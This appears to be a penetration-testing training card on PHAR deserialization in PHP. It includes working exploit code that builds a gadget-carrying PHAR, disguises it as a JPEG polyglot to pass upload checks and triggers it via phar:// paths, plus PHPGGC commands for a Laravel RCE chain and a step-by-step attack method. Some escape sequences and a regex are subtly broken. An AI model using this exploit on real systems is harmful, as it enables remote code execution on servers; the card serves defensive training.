PHAR deserialization (simulated)
Theory
Why This Matters
CVE-2018-19296 demonstrated PHAR deserialization in PHPMailer, one of the most widely deployed PHP email libraries. CVE-2018-19158 affected Joomla. Wordpress plugin ecosystems have shipped numerous PHAR-vulnerable file operation calls. The attack is particularly insidious because the trigger is not unserialize() — a function developers know to treat as dangerous — but instead ordinary filesystem functions like file_exists(), is_file(), fopen(), and file_get_contents(). Every PHP application that performs filesystem operations on user-controlled paths is potentially vulnerable, regardless of whether the developer ever wrote unserialize().
Core Concept
A PHAR (PHP Archive) is a PHP packaging format analogous to JAR files in Java. PHAR files have a structured format containing a manifest, the file contents, and an optional signature. Critically, the manifest section stores serialized PHP objects as metadata. When PHP's stream wrapper phar:// is used to open a PHAR file, PHP automatically deserializes the manifest metadata — and calling __wakeup(), __destruct(), and other magic methods on any class that is present in the codebase.
The phar:// stream wrapper is the attack vector. Any PHP filesystem function that accepts a path will process phar:// URIs:
file_exists("phar:///var/uploads/image.jpg")
If image.jpg is actually a valid PHAR file (a polyglot — valid as both a JPEG and a PHAR), PHP deserializes its manifest. If a gadget chain exists in the application's codebase (classes whose magic methods perform dangerous operations when deserialized), RCE is achievable without any file ever having an executable extension.
The attack precondition is: (1) the application stores attacker-supplied files on the filesystem (any upload, even if renamed and extension-checked), and (2) the application later performs any filesystem operation on a path that can be influenced by the attacker, using phar:// as the URI scheme — or the path is passed to a file operation after attacker-controlled string concatenation.
Polyglot construction: a valid JPEG polyglot PHAR begins with the JPEG magic bytes (FF D8 FF E0) so it passes magic byte validation, while the PHAR-specific structure (stub, manifest with serialized objects, signature) is embedded in the EXIF data or appended after the JPEG end-of-image marker (FF D9). When PHP processes this file as phar://, it finds the PHAR structure and deserializes the manifest.
Gadget chains for popular PHP frameworks are catalogued in PHPGGC. Laravel, Symfony, WordPress, Guzzle, Doctrine, and Monolog all have documented chains.
Technical Deep-Dive
<?php
// ── Step 1: Build a malicious PHAR with serialized gadget ─────────────────
// Run as: php -d phar.readonly=0 create_phar.php
class GadgetSink {
public $command;
public function __destruct() {
// Triggered during GC after deserialization completes
system($this->command);
}
}
$phar = new Phar("evil.phar");
$phar->startBuffering();
// PHAR stub: minimal valid PHP that does nothing visible
$phar->setStub("<?php __HALT_COMPILER(); ?>");
// Embed the gadget object in the PHAR metadata
$obj = new GadgetSink();
$obj->command = "id > /tmp/phar_rce_proof.txt";
$phar->setMetadata($obj); // Serialized to manifest
// Add at least one file (required by PHAR format)
$phar->addFromString("placeholder.txt", "legitimate content");
$phar->stopBuffering();
echo "[+] evil.phar created
";
// ── Step 2: Create a JPEG polyglot ────────────────────────────────────────
// Append the PHAR data after the JPEG end-of-image marker
$jpeg_header = "xffxd8xffxe0x00x10JFIFx00x01x01x00x00x01x00x01x00x00";
$jpeg_footer = "xffxd9"; // End of JPEG image
$phar_data = file_get_contents("evil.phar");
// Polyglot: valid JPEG header + PHAR data + JPEG EOI
file_put_contents("polyglot.jpg",
$jpeg_header . $phar_data . $jpeg_footer
);
echo "[+] polyglot.jpg created — passes JPEG magic byte check
";
?>
<?php
// ── Step 3: Trigger deserialization via a vulnerable file operation ────────
// Attacker controls $user_path through a path parameter, file reference, etc.
// VULNERABLE: user-controlled input reaches file_exists()
$user_path = $_GET['file']; // Attacker sets: phar:///var/uploads/polyglot.jpg
if (file_exists($user_path)) {
echo "File found";
// file_exists() on a phar:// path triggers manifest deserialization
// GadgetSink::__destruct() runs → system("id > /tmp/phar_rce_proof.txt")
}
// Other vulnerable functions: is_file(), fopen(), file_get_contents(),
// SplFileInfo::__construct(), DirectoryIterator::__construct(),
// SimpleXMLElement::__construct() (via phar://), ZipArchive::open()
// SECURE: validate and canonicalize path before use
function safe_file_exists(string $path): bool {
// Strip any stream wrapper prefix
if (preg_match('^[a-z][a-z0-9+-.]*://', $path)) {
return false; // Reject all stream wrappers
}
$real = realpath($path);
$allowed_base = realpath("/var/uploads");
if ($real === false || strpos($real, $allowed_base . "/") !== 0) {
return false;
}
return file_exists($real);
}
?>
# ── PHPGGC: generate PHAR payload for real framework gadget chains ─────────
# List available chains
php phpggc --list | grep -i laravel
# Generate a PHAR with Laravel/RCE8 chain executing a command
php phpggc -o evil.phar --phar phar Laravel/RCE8 system id
# Create polyglot by prepending a valid JPEG header
python3 -c "
import struct
# Minimal valid JPEG (JFIF header + EOI)
jfif = bytes.fromhex('ffd8ffe000104a464946000101000001000100 00'.replace(' ',''))
phar = open('evil.phar','rb').read()
open('polyglot.jpg','wb').write(jfif + phar)
print('polyglot.jpg created, size:', len(jfif)+len(phar))
"
# Confirm polyglot passes file --mime check
file --mime-type polyglot.jpg # Should output: image/jpeg
Security Assessment Methodology
- Map file operation entry points — Review application source or use dynamic analysis to identify all calls to
file_exists(),is_file(),fopen(),file_get_contents(),SplFileInfo, andDirectoryIteratorwhere the path is derived from user input (file parameter, upload reference, path stored in DB). - Confirm file upload capability — Upload a benign file (JPEG) and note the stored path. Confirm the application stores files in a location whose path can be referenced in subsequent requests.
- Identify gadget chains — Run PHPGGC against the target framework version.
php phpggc --listshows all available chains. Checkcomposer.jsonorcomposer.lockfor framework and library versions. - Craft and upload a PHAR polyglot — Use PHPGGC with
--phar pharto generateevil.phar. Prepend JPEG magic bytes to createpolyglot.jpg. Upload via the standard upload endpoint. The file passes extension and magic byte checks. - Trigger via phar:// path — In any request that sends a file path to a file operation, inject
phar:///var/uploads/polyglot.jpg(adjusted for the actual storage path). Use OOB (curl/DNS) as the gadget payload for safe confirmation. - Verify RCE and document — Confirm OOB callback. Write a non-destructive proof file. Record the gadget chain, PHPGGC command, and trigger endpoint.
Defensive Countermeasure — Disable the
phar://stream wrapper for untrusted input by stripping or rejecting all stream wrapper prefixes before passing paths to filesystem functions. Inphp.ini, setphar.readonly = 1to prevent PHAR creation at runtime. Add a wrapper rejection check (preg_match('^[a-z][a-z0-9+\-.]*://', $path)) before any filesystem call. Deploy a Web Application Firewall rule blockingphar://in all parameters. Regularly auditcomposer.lockagainst PHPGGC's chain catalogue.
Common Assessment Errors
- Looking only for
unserialize()calls — PHAR deserialization is triggered by filesystem functions, notunserialize(). A codebase with nounserialize()calls can still be vulnerable. - Assuming the storage directory path is unknown — Error messages,
X-Debug-Token, PHPStorm metadata, or.gitexposure often reveal absolute paths. Enumerate path disclosure separately. - Forgetting that phar.readonly blocks creation but not reading —
phar.readonly = 1prevents creating new PHAR archives via PHP, but reading existing PHARs (including uploaded ones) viaphar://is still possible. - Not accounting for signature requirements — PHP 8.1+ by default requires PHAR files to have a valid signature. PHPGGC handles this automatically; manually crafted PHARs may fail. Use PHPGGC for reliable payload generation.
- Skipping the polyglot step and uploading a raw .phar — A raw
.pharfile will be rejected by any extension or MIME check. The polyglot step is required to smuggle the PHAR through upload validation. - Triggering via a path that is sanitized downstream — Some applications call
basename()orrealpath()before file operations, stripping thephar://prefix. Test the specific code path that handles the uploaded file reference.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0009 | Knowledge of application vulnerabilities | Explains PHAR stream wrapper mechanics and why filesystem functions are deserialization triggers |
| K0070 | Knowledge of system and application security threats and vulnerabilities | Connects PHAR deserialization to CVE-2018-19296 and the broader PHP gadget chain ecosystem |
| S0001 | Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems | Trains PHPGGC-based gadget chain enumeration and polyglot crafting |
| S0044 | Skill in mimicking threat behaviors to test defenses | Develops ability to construct JPEG polyglot PHARs that evade upload validation |
| T0028 | Conduct and support authorized penetration testing on enterprise networks | Provides a five-step methodology from upload through phar:// trigger |
| T0591 | Perform penetration testing as required for new or updated applications | Frames PHAR testing as required for PHP applications with file operations |
Further Reading
- Heine, S. (2018). "It's a PHP Unserialization Vulnerability Jim, but Not as We Know It" — BlackHat USA 2018
- CVE-2018-19296: PHAR deserialization in PHPMailer — NVD
- PHPGGC: PHP Generic Gadget Chains — ambionics security (GitHub, offline reference)
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.